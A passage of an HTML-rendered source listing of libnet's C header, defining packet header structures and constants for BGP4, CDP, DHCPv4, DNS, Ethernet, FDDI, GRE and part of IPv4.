+00279 <span class="preprocessor"></span><span class="comment">/* UPDATE Message Error subcodes */</span>
+00280 <span class="preprocessor">#define LIBNET_BGP4_MALFORMED_ATTRIBUTE_LIST</span>
+00281 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_UNRECOGNIZED_WELL_KNOWN_ATTRIBUTE</span>
+00282 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_MISSING_WELL_KNOWN_ATTRIBUTE</span>
+00283 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_ATTRIBUTE_FLAGS_ERROR</span>
+00284 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_ATTRIBUTE_LENGTH_ERROR</span>
+00285 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_INVALID_ORIGIN_ATTRIBUTE</span>
+00286 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_AS_ROUTING_LOOP</span>
+00287 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_INVALID_NEXT_HOP_ATTRIBUTE</span>
+00288 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_OPTIONAL_ATTRIBUTE_ERROR</span>
+00289 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_INVALID_NETWORK_FIELD</span>
+00290 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BGP4_MALFORMED_AS_PATH</span>
+00291 <span class="preprocessor"></span> u_int8_t err_subcode;
+00292 };
+00293
+00294
+00295
+00296 <span class="comment">/*</span>
+00297 <span class="comment"> * CDP header</span>
+00298 <span class="comment"> * Cisco Discovery Protocol</span>
+00299 <span class="comment"> * Base header size: 8 bytes</span>
+00300 <span class="comment"> */</span>
+00301
+00302 <span class="comment">/*</span>
+00303 <span class="comment"> * For checksum stuff -- IANA says 135-254 is "unassigned" as of 12.2001.</span>
+00304 <span class="comment"> * Let's hope this one stays that way for a while!</span>
+00305 <span class="comment"> */</span>
+00306 <span class="preprocessor">#define LIBNET_PROTO_CDP 200</span>
+00307 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_cdp_hdr
+00308 {
+00309 u_int8_t cdp_version; <span class="comment">/* version (should always be 0x01) */</span>
+00310 u_int8_t cdp_ttl; <span class="comment">/* time reciever should hold info in this packet */</span>
+00311 u_int16_t cdp_sum; <span class="comment">/* checksum */</span>
+00312 u_int16_t cdp_type; <span class="comment">/* type */</span>
+00313 <span class="preprocessor">#define LIBNET_CDP_DEVID 0x1 </span><span class="comment">/* device id */</span>
+00314 <span class="preprocessor">#define LIBNET_CDP_ADDRESS 0x2 </span><span class="comment">/* address */</span>
+00315 <span class="preprocessor">#define LIBNET_CDP_PORTID 0x3 </span><span class="comment">/* port id */</span>
+00316 <span class="preprocessor">#define LIBNET_CDP_CAPABIL 0x4 </span><span class="comment">/* capabilities */</span>
+00317 <span class="preprocessor">#define LIBNET_CDP_VERSION 0x5 </span><span class="comment">/* version */</span>
+00318 <span class="preprocessor">#define LIBNET_CDP_PLATFORM 0x6 </span><span class="comment">/* platform */</span>
+00319 <span class="preprocessor">#define LIBNET_CDP_IPPREFIX 0x7 </span><span class="comment">/* ip prefix */</span>
+00320 u_int16_t cdp_len; <span class="comment">/* type + length + value */</span>
+00321 <span class="comment">/* value information done dynamically */</span>
+00322
+00323 <span class="comment">/* CDP capabilities */</span>
+00324 <span class="preprocessor">#define LIBNET_CDP_CAP_L3R 0x01</span><span class="comment">/* performs level 3 routing */</span>
+00325 <span class="preprocessor">#define LIBNET_CDP_CAP_L2B 0x02</span><span class="comment">/* performs level 2 transparent bridging */</span>
+00326 <span class="preprocessor">#define LIBNET_CDP_CAP_L2SRB 0x04</span><span class="comment">/* performs level 2 sourceroute bridging */</span>
+00327 <span class="preprocessor">#define LIBNET_CDP_CAP_L2S 0x08</span><span class="comment">/* performs level 2 switching */</span>
+00328 <span class="preprocessor">#define LIBNET_CDP_CAP_SR 0x10</span><span class="comment">/* sends and recieves packets on a network */</span>
+00329 <span class="preprocessor">#define LIBNET_CDP_CAP_NOI 0x20</span><span class="comment">/* does not forward IGMP on non-router ports */</span>
+00330 <span class="preprocessor">#define LIBNET_CDP_CAP_L1F 0x40</span><span class="comment">/* provides level 1 functionality */</span>
+00331 };
+00332
+00333
+00334 <span class="comment">/*</span>
+00335 <span class="comment"> * Used as an overlay for type/len/values</span>
+00336 <span class="comment"> */</span>
+00337 <span class="keyword">struct </span>libnet_cdp_value_hdr
+00338 {
+00339 u_int16_t cdp_type;
+00340 u_int16_t cdp_len;
+00341 };
+00342
+00343
+00344 <span class="comment">/*</span>
+00345 <span class="comment"> * DHCP header</span>
+00346 <span class="comment"> * Dynamic Host Configuration Protocol</span>
+00347 <span class="comment"> * Static header size: f0 bytes</span>
+00348 <span class="comment"> */</span>
+00349 <span class="keyword">struct </span>libnet_dhcpv4_hdr
+00350 {
+00351 u_int8_t dhcp_opcode; <span class="comment">/* opcode */</span>
+00352 <span class="preprocessor">#define LIBNET_DHCP_REQUEST 0x1</span>
+00353 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_REPLY 0x2</span>
+00354 <span class="preprocessor"></span> u_int8_t dhcp_htype; <span class="comment">/* hardware address type */</span>
+00355 u_int8_t dhcp_hlen; <span class="comment">/* hardware address length */</span>
+00356 u_int8_t dhcp_hopcount; <span class="comment">/* used by proxy servers */</span>
+00357 u_int32_t dhcp_xid; <span class="comment">/* transaction ID */</span>
+00358 u_int16_t dhcp_secs; <span class="comment">/* number of seconds since trying to bootstrap */</span>
+00359 u_int16_t dhcp_flags; <span class="comment">/* flags for DHCP, unused for BOOTP */</span>
+00360 u_int32_t dhcp_cip; <span class="comment">/* client's IP */</span>
+00361 u_int32_t dhcp_yip; <span class="comment">/* your IP */</span>
+00362 u_int32_t dhcp_sip; <span class="comment">/* server's IP */</span>
+00363 u_int32_t dhcp_gip; <span class="comment">/* gateway IP */</span>
+00364 u_int8_t dhcp_chaddr[16]; <span class="comment">/* client hardware address */</span>
+00365 u_int8_t dhcp_sname[64]; <span class="comment">/* server host name */</span>
+00366 u_int8_t dhcp_file[128]; <span class="comment">/* boot file name */</span>
+00367 u_int32_t dhcp_magic; <span class="comment">/* BOOTP magic header */</span>
+00368 <span class="preprocessor">#define DHCP_MAGIC 0x63825363</span>
+00369 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_BOOTP_MIN_LEN 0x12c</span>
+00370 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_PAD 0x00</span>
+00371 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_SUBNETMASK 0x01</span>
+00372 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_TIMEOFFSET 0x02</span>
+00373 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_ROUTER 0x03</span>
+00374 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_TIMESERVER 0x04</span>
+00375 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NAMESERVER 0x05</span>
+00376 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_DNS 0x06</span>
+00377 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_LOGSERV 0x07</span>
+00378 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_COOKIESERV 0x08</span>
+00379 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_LPRSERV 0x09</span>
+00380 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_IMPSERV 0x0a</span>
+00381 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_RESSERV 0x0b</span>
+00382 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_HOSTNAME 0x0c</span>
+00383 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_BOOTFILESIZE 0x0d</span>
+00384 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_DUMPFILE 0x0e</span>
+00385 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_DOMAINNAME 0x0f</span>
+00386 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_SWAPSERV 0x10</span>
+00387 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_ROOTPATH 0x11</span>
+00388 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_EXTENPATH 0x12</span>
+00389 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_IPFORWARD 0x13</span>
+00390 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_SRCROUTE 0x14</span>
+00391 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_POLICYFILTER 0x15</span>
+00392 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MAXASMSIZE 0x16</span>
+00393 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_IPTTL 0x17</span>
+00394 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MTUTIMEOUT 0x18</span>
+00395 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MTUTABLE 0x19</span>
+00396 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MTUSIZE 0x1a</span>
+00397 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_LOCALSUBNETS 0x1b</span>
+00398 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_BROADCASTADDR 0x1c</span>
+00399 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_DOMASKDISCOV 0x1d</span>
+00400 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MASKSUPPLY 0x1e</span>
+00401 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_DOROUTEDISC 0x1f</span>
+00402 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_ROUTERSOLICIT 0x20</span>
+00403 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_STATICROUTE 0x21</span>
+00404 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_TRAILERENCAP 0x22</span>
+00405 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_ARPTIMEOUT 0x23</span>
+00406 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_ETHERENCAP 0x24</span>
+00407 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_TCPTTL 0x25</span>
+00408 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_TCPKEEPALIVE 0x26</span>
+00409 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_TCPALIVEGARBAGE 0x27</span>
+00410 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NISDOMAIN 0x28</span>
+00411 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NISSERVERS 0x29</span>
+00412 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NISTIMESERV 0x2a</span>
+00413 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_VENDSPECIFIC 0x2b</span>
+00414 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NBNS 0x2c</span>
+00415 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NBDD 0x2d</span>
+00416 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NBTCPIP 0x2e</span>
+00417 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NBTCPSCOPE 0x2f</span>
+00418 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_XFONT 0x30</span>
+00419 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_XDISPLAYMGR 0x31</span>
+00420 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_DISCOVERADDR 0x32</span>
+00421 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_LEASETIME 0x33</span>
+00422 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_OPTIONOVERLOAD 0x34</span>
+00423 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MESSAGETYPE 0x35</span>
+00424 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_SERVIDENT 0x36</span>
+00425 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_PARAMREQUEST 0x37</span>
+00426 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MESSAGE 0x38</span>
+00427 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MAXMSGSIZE 0x39</span>
+00428 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_RENEWTIME 0x3a</span>
+00429 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_REBINDTIME 0x3b</span>
+00430 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_CLASSSID 0x3c</span>
+00431 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_CLIENTID 0x3d</span>
+00432 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NISPLUSDOMAIN 0x40</span>
+00433 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NISPLUSSERVERS 0x41</span>
+00434 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MOBILEIPAGENT 0x44</span>
+00435 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_SMTPSERVER 0x45</span>
+00436 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_POP3SERVER 0x46</span>
+00437 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_NNTPSERVER 0x47</span>
+00438 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_WWWSERVER 0x48</span>
+00439 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_FINGERSERVER 0x49</span>
+00440 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_IRCSERVER 0x4a</span>
+00441 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_STSERVER 0x4b</span>
+00442 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_STDASERVER 0x4c</span>
+00443 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_END 0xff</span>
+00444 <span class="preprocessor"></span>
+00445 <span class="preprocessor">#define LIBNET_DHCP_MSGDISCOVER 0x01</span>
+00446 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MSGOFFER 0x02</span>
+00447 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MSGREQUEST 0x03</span>
+00448 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MSGDECLINE 0x04</span>
+00449 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MSGACK 0x05</span>
+00450 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MSGNACK 0x06</span>
+00451 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MSGRELEASE 0x07</span>
+00452 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_DHCP_MSGINFORM 0x08</span>
+00453 <span class="preprocessor"></span>};
+00454
+00455
+00456 <span class="comment">/*</span>
+00457 <span class="comment"> * Base DNSv4 header</span>
+00458 <span class="comment"> * Domain Name System</span>
+00459 <span class="comment"> * Base header size: 12/14 bytes</span>
+00460 <span class="comment"> */</span>
+00461 <span class="comment">/* this little guy got left out in the cold */</span>
+00462 <span class="preprocessor">#define LIBNET_DNS_H LIBNET_UDP_DNSV4_H</span>
+00463 <span class="preprocessor"></span><span class="keyword">struct </span>libnet_dnsv4_hdr
+00464 {
+00465 u_int16_t h_len; <span class="comment">/* length of the packet - only used with TCP */</span>
+00466 u_int16_t id; <span class="comment">/* DNS packet ID */</span>
+00467 u_int16_t flags; <span class="comment">/* DNS flags */</span>
+00468 u_int16_t num_q; <span class="comment">/* Number of questions */</span>
+00469 u_int16_t num_answ_rr; <span class="comment">/* Number of answer resource records */</span>
+00470 u_int16_t num_auth_rr; <span class="comment">/* Number of authority resource records */</span>
+00471 u_int16_t num_addi_rr; <span class="comment">/* Number of additional resource records */</span>
+00472 };
+00473
+00474
+00475 <span class="comment">/*</span>
+00476 <span class="comment"> * Ethernet II header</span>
+00477 <span class="comment"> * Static header size: 14 bytes</span>
+00478 <span class="comment"> */</span>
+00479 <span class="keyword">struct </span>libnet_ethernet_hdr
+00480 {
+00481 u_int8_t ether_dhost[ETHER_ADDR_LEN];<span class="comment">/* destination ethernet address */</span>
+00482 u_int8_t ether_shost[ETHER_ADDR_LEN];<span class="comment">/* source ethernet address */</span>
+00483 u_int16_t ether_type; <span class="comment">/* protocol */</span>
+00484 };
+00485
+00486 <span class="preprocessor">#ifndef ETHERTYPE_PUP</span>
+00487 <span class="preprocessor"></span><span class="preprocessor">#define ETHERTYPE_PUP 0x0200 </span><span class="comment">/* PUP protocol */</span>
+00488 <span class="preprocessor">#endif</span>
+00489 <span class="preprocessor"></span><span class="preprocessor">#ifndef ETHERTYPE_IP</span>
+00490 <span class="preprocessor"></span><span class="preprocessor">#define ETHERTYPE_IP 0x0800 </span><span class="comment">/* IP protocol */</span>
+00491 <span class="preprocessor">#endif</span>
+00492 <span class="preprocessor"></span><span class="preprocessor">#ifndef ETHERTYPE_ARP</span>
+00493 <span class="preprocessor"></span><span class="preprocessor">#define ETHERTYPE_ARP 0x0806 </span><span class="comment">/* addr. resolution protocol */</span>
+00494 <span class="preprocessor">#endif</span>
+00495 <span class="preprocessor"></span><span class="preprocessor">#ifndef ETHERTYPE_REVARP</span>
+00496 <span class="preprocessor"></span><span class="preprocessor">#define ETHERTYPE_REVARP 0x8035 </span><span class="comment">/* reverse addr. resolution protocol */</span>
+00497 <span class="preprocessor">#endif</span>
+00498 <span class="preprocessor"></span><span class="preprocessor">#ifndef ETHERTYPE_VLAN</span>
+00499 <span class="preprocessor"></span><span class="preprocessor">#define ETHERTYPE_VLAN 0x8100 </span><span class="comment">/* IEEE 802.1Q VLAN tagging */</span>
+00500 <span class="preprocessor">#endif</span>
+00501 <span class="preprocessor"></span><span class="preprocessor">#ifndef ETHERTYPE_EAP</span>
+00502 <span class="preprocessor"></span><span class="preprocessor">#define ETHERTYPE_EAP 0x888e </span><span class="comment">/* IEEE 802.1X EAP authentication */</span>
+00503 <span class="preprocessor">#endif</span>
+00504 <span class="preprocessor"></span><span class="preprocessor">#ifndef ETHERTYPE_MPLS</span>
+00505 <span class="preprocessor"></span><span class="preprocessor">#define ETHERTYPE_MPLS 0x8847 </span><span class="comment">/* MPLS */</span>
+00506 <span class="preprocessor">#endif</span>
+00507 <span class="preprocessor"></span><span class="preprocessor">#ifndef ETHERTYPE_LOOPBACK</span>
+00508 <span class="preprocessor"></span><span class="preprocessor">#define ETHERTYPE_LOOPBACK 0x9000 </span><span class="comment">/* used to test interfaces */</span>
+00509 <span class="preprocessor">#endif</span>
+00510 <span class="preprocessor"></span>
+00511 <span class="keyword">struct </span>libnet_ether_addr
+00512 {
+00513 u_int8_t ether_addr_octet[6]; <span class="comment">/* Ethernet address */</span>
+00514 };
+00515
+00516 <span class="comment">/*</span>
+00517 <span class="comment"> * Fiber Distributed Data Interface header</span>
+00518 <span class="comment"> *</span>
+00519 <span class="comment"> * Static header size: 21 bytes (LLC and 48-bit address addr only)</span>
+00520 <span class="comment"> *</span>
+00521 <span class="comment"> * Note: Organization field is 3 bytes which throws off the</span>
+00522 <span class="comment"> * alignment of type. Therefore fddi_type (19 bytes in) </span>
+00523 <span class="comment"> * is specified as two u_int8_ts.</span>
+00524 <span class="comment"> */</span>
+00525 <span class="keyword">struct </span>libnet_fddi_hdr
+00526 {
+00527 u_int8_t fddi_frame_control; <span class="comment">/* Class/Format/Priority */</span>
+00528 <span class="preprocessor">#define LIBNET_FDDI_LLC_FRAME 0x10</span>
+00529 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_FDDI_48BIT_ADDR 0x40</span>
+00530 <span class="preprocessor"></span><span class="preprocessor">#define LIBNET_FDDI_FC_REQD LIBNET_FDDI_LLC_FRAME | LIBNET_FDDI_48BIT_ADDR </span>
+00531 <span class="preprocessor"></span> u_int8_t fddi_dhost[FDDI_ADDR_LEN]; <span class="comment">/* destination fddi address */</span>
+00532 u_int8_t fddi_shost[FDDI_ADDR_LEN]; <span class="comment">/* source fddi address */</span>
+00533 u_int8_t fddi_llc_dsap; <span class="comment">/* DSAP */</span>
+00534 u_int8_t fddi_llc_ssap; <span class="comment">/* SSAP */</span>
+00535 u_int8_t fddi_llc_control_field; <span class="comment">/* Class/Format/Priority */</span>
+00536 u_int8_t fddi_llc_org_code[LIBNET_ORG_CODE_SIZE]; <span class="comment">/* Organization Code 3-bytes */</span>
+00537 u_int8_t fddi_type; <span class="comment">/* Protocol Type */</span>
+00538 u_int8_t fddi_type1; <span class="comment">/* see note above. */</span>
+00539 <span class="preprocessor">#define FDDI_TYPE_IP 0x0800 </span><span class="comment">/* IP protocol */</span>
+00540 <span class="preprocessor">#define FDDI_TYPE_ARP 0x0806 </span><span class="comment">/* addr. resolution protocol */</span>
+00541 <span class="preprocessor">#define FDDI_TYPE_REVARP 0x8035 </span><span class="comment">/* reverse addr. resolution protocol */</span>
+00542 };
+00543
+00544
+00545 <span class="keyword">struct </span>libnet_fddi_addr
+00546 {
+00547 u_int8_t fddi_addr_octet[6]; <span class="comment">/* FDDI address */</span>
+00548 };
+00549
+00550
+00551 <span class="comment">/*</span>
+00552 <span class="comment"> * GRE header - RFC 1701 &amp; 2637</span>
+00553 <span class="comment"> * Generic Routing Encapsulation (GRE) </span>
+00554 <span class="comment"> * Base header size: 4 bytes</span>
+00555 <span class="comment"> */</span>
+00556 <span class="keyword">struct </span>libnet_gre_hdr
+00557 {
+00558 u_int16_t flags_ver;
+00559 <span class="preprocessor">#define GRE_CSUM 0x8000</span>
+00560 <span class="preprocessor"></span><span class="preprocessor">#define GRE_ROUTING 0x4000</span>
+00561 <span class="preprocessor"></span><span class="preprocessor">#define GRE_KEY 0x2000</span>
+00562 <span class="preprocessor"></span><span class="preprocessor">#define GRE_SEQ 0x1000</span>
+00563 <span class="preprocessor"></span><span class="preprocessor">#define GRE_STRICT 0x0800</span>
+00564 <span class="preprocessor"></span><span class="preprocessor">#define GRE_REC 0x0700</span>
+00565 <span class="preprocessor"></span><span class="preprocessor">#define GRE_ACK 0x0080</span>
+00566 <span class="preprocessor"></span>
+00567 <span class="preprocessor">#define GRE_FLAGS_MASK 0x00F8</span>
+00568 <span class="preprocessor"></span><span class="preprocessor">#define GRE_VERSION_MASK 0x0007</span>
+00569 <span class="preprocessor"></span>
+00570 <span class="preprocessor">#define GRE_VERSION_0 0x0000</span>
+00571 <span class="preprocessor"></span><span class="preprocessor">#define GRE_VERSION_1 0x0001</span>
+00572 <span class="preprocessor"></span>
+00573 u_int16_t type;
+00574 <span class="preprocessor">#define GRE_SNA 0x0004</span>
+00575 <span class="preprocessor"></span><span class="preprocessor">#define GRE_OSI_NETWORK_LAYER 0x00FE</span>
+00576 <span class="preprocessor"></span><span class="preprocessor">#define GRE_PUP 0x0200</span>
+00577 <span class="preprocessor"></span><span class="preprocessor">#define GRE_XNS 0x0600</span>
+00578 <span class="preprocessor"></span><span class="preprocessor">#define GRE_IP 0x0800</span>
+00579 <span class="preprocessor"></span><span class="preprocessor">#define GRE_CHAOS 0x0804</span>
+00580 <span class="preprocessor"></span><span class="preprocessor">#define GRE_RFC_826_ARP 0x0806</span>
+00581 <span class="preprocessor"></span><span class="preprocessor">#define GRE_FRAME_RELAY_ARP 0x0808</span>
+00582 <span class="preprocessor"></span><span class="preprocessor">#define GRE_VINES 0x0BAD</span>
+00583 <span class="preprocessor"></span><span class="preprocessor">#define GRE_VINES_ECHO 0x0BAE</span>
+00584 <span class="preprocessor"></span><span class="preprocessor">#define GRE_VINES_LOOPBACK 0x0BAF</span>
+00585 <span class="preprocessor"></span><span class="preprocessor">#define GRE_DECNET 0x6003</span>
+00586 <span class="preprocessor"></span><span class="preprocessor">#define GRE_TRANSPARENT_ETHERNET_BRIDGING 0x6558</span>
+00587 <span class="preprocessor"></span><span class="preprocessor">#define GRE_RAW_FRAME_RELAY 0x6559</span>
+00588 <span class="preprocessor"></span><span class="preprocessor">#define GRE_APOLLO_DOMAIN 0x8019</span>
+00589 <span class="preprocessor"></span><span class="preprocessor">#define GRE_ETHERTALK 0x809B</span>
+00590 <span class="preprocessor"></span><span class="preprocessor">#define GRE_NOVELL_IPX 0x8137</span>
+00591 <span class="preprocessor"></span><span class="preprocessor">#define GRE_RFC_1144_TCP_IP_COMPRESSION 0x876B</span>
+00592 <span class="preprocessor"></span><span class="preprocessor">#define GRE_IP_AUTONOMOUS_SYSTEMS 0x876C</span>
+00593 <span class="preprocessor"></span><span class="preprocessor">#define GRE_SECURE_DATA 0x876D</span>
+00594 <span class="preprocessor"></span><span class="preprocessor">#define GRE_PPP 0x880b </span><span class="comment">/* taken from RFC 2637 */</span>
+00595
+00596 <span class="keyword">union </span>{
+00597 <span class="keyword">struct </span>{
+00598 u_int16_t sum; <span class="comment">/* optional */</span>
+00599 u_int16_t offset; <span class="comment">/* optional */</span>
+00600 u_int32_t key; <span class="comment">/* optional */</span>
+00601 u_int32_t seq; <span class="comment">/* optional */</span>
+00602 } _gre;
+00603
+00604 <span class="keyword">struct </span>{
+00605 u_int16_t payload_s; <span class="comment">/* optional */</span>
+00606 u_int16_t callID; <span class="comment">/* optional */</span>
+00607 u_int32_t seq; <span class="comment">/* optional */</span>
+00608 u_int32_t ack; <span class="comment">/* optional */</span>
+00609 } _egre;
+00610 }_data;
+00611
+00612 <span class="preprocessor">#define gre_sum _data._gre.sum</span>
+00613 <span class="preprocessor"></span><span class="preprocessor">#define gre_offset _data._gre.offset</span>
+00614 <span class="preprocessor"></span><span class="preprocessor">#define gre_key _data._gre.key</span>
+00615 <span class="preprocessor"></span><span class="preprocessor">#define gre_seq _data._gre.seq</span>
+00616 <span class="preprocessor"></span>
+00617 <span class="preprocessor">#define egre_payload_s _data._egre.payload_s</span>
+00618 <span class="preprocessor"></span><span class="preprocessor">#define egre_callID _data._egre.callID</span>
+00619 <span class="preprocessor"></span><span class="preprocessor">#define egre_seq _data._egre.seq</span>
+00620 <span class="preprocessor"></span><span class="preprocessor">#define egre_ack _data._egre.ack</span>
+00621 <span class="preprocessor"></span>};
+00622
+00623
+00624 <span class="preprocessor">#ifndef IPPROTO_GRE</span>
+00625 <span class="preprocessor"></span><span class="preprocessor">#define IPPROTO_GRE 47</span>
+00626 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00627 <span class="preprocessor"></span>
+00628 <span class="comment">/*</span>
+00629 <span class="comment"> * Source Route Entries (SRE)</span>
+00630 <span class="comment"> * This is used for GRE as the Routing field is a list of SREs - RFC 1701</span>
+00631 <span class="comment"> * Base header size: 4 bytes</span>
+00632 <span class="comment"> */</span>
+00633 <span class="keyword">struct </span>libnet_gre_sre_hdr
+00634 {
+00635 u_int16_t af; <span class="comment">/* address familly */</span>
+00636 u_int8_t sre_offset;
+00637 u_int8_t sre_length;
+00638 u_int8_t *routing;
+00639 };
+00640
+00641
+00642 <span class="comment">/*</span>
+00643 <span class="comment"> * IPv4 header</span>
+00644 <span class="comment"> * Internet Protocol, version 4</span>
+00645 <span class="comment"> * Static header size: 20 bytes</span>
+00646 <span class="comment"> */</span>
+00647 <span class="keyword">struct </span>libnet_ipv4_hdr
+00648 {
+00649 <span class="preprocessor">#if (LIBNET_LIL_ENDIAN)</span>
+00650 <span class="preprocessor"></span> u_int8_t ip_hl:4, <span class="comment">/* header length */</span>
+00651 ip_v:4; <span class="comment">/* version */</span>
+00652 <span class="preprocessor">#endif</span>
+00653 <span class="preprocessor"></span><span class="preprocessor">#if (LIBNET_BIG_ENDIAN)</span>
+00654 <span class="preprocessor"></span> u_int8_t ip_v:4, <span class="comment">/* version */</span>
+00655 ip_hl:4; <span class="comment">/* header length */</span>
+00656 <span class="preprocessor">#endif</span>
+00657 <span class="preprocessor"></span> u_int8_t ip_tos; <span class="comment">/* type of service */</span>
+00658 <span class="preprocessor">#ifndef IPTOS_LOWDELAY</span>
+00659 <span class="preprocessor"></span><span class="preprocessor">#define IPTOS_LOWDELAY 0x10</span>
+00660 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00661 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPTOS_THROUGHPUT</span>
+00662 <span class="preprocessor"></span><span class="preprocessor">#define IPTOS_THROUGHPUT 0x08</span>
+00663 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00664 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPTOS_RELIABILITY</span>
+00665 <span class="preprocessor"></span><span class="preprocessor">#define IPTOS_RELIABILITY 0x04</span>
+00666 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00667 <span class="preprocessor"></span><span class="preprocessor">#ifndef IPTOS_LOWCOST</span>
+00668 <span class="preprocessor"></span><span class="preprocessor">#define IPTOS_LOWCOST 0x02</span>
+00669 <span class="preprocessor"></span><span class="preprocessor">#endif</span>
+00670 <span class="preprocessor"></span> u_int16_t ip_len; <span class="comment">/* total length */</span>
+00671 u_int16_t ip_id; <span class="comment">/* identification */</span>
+00672 u_int16_t ip_off;
+00673 <span class="preprocessor">#ifndef IP_RF</span>
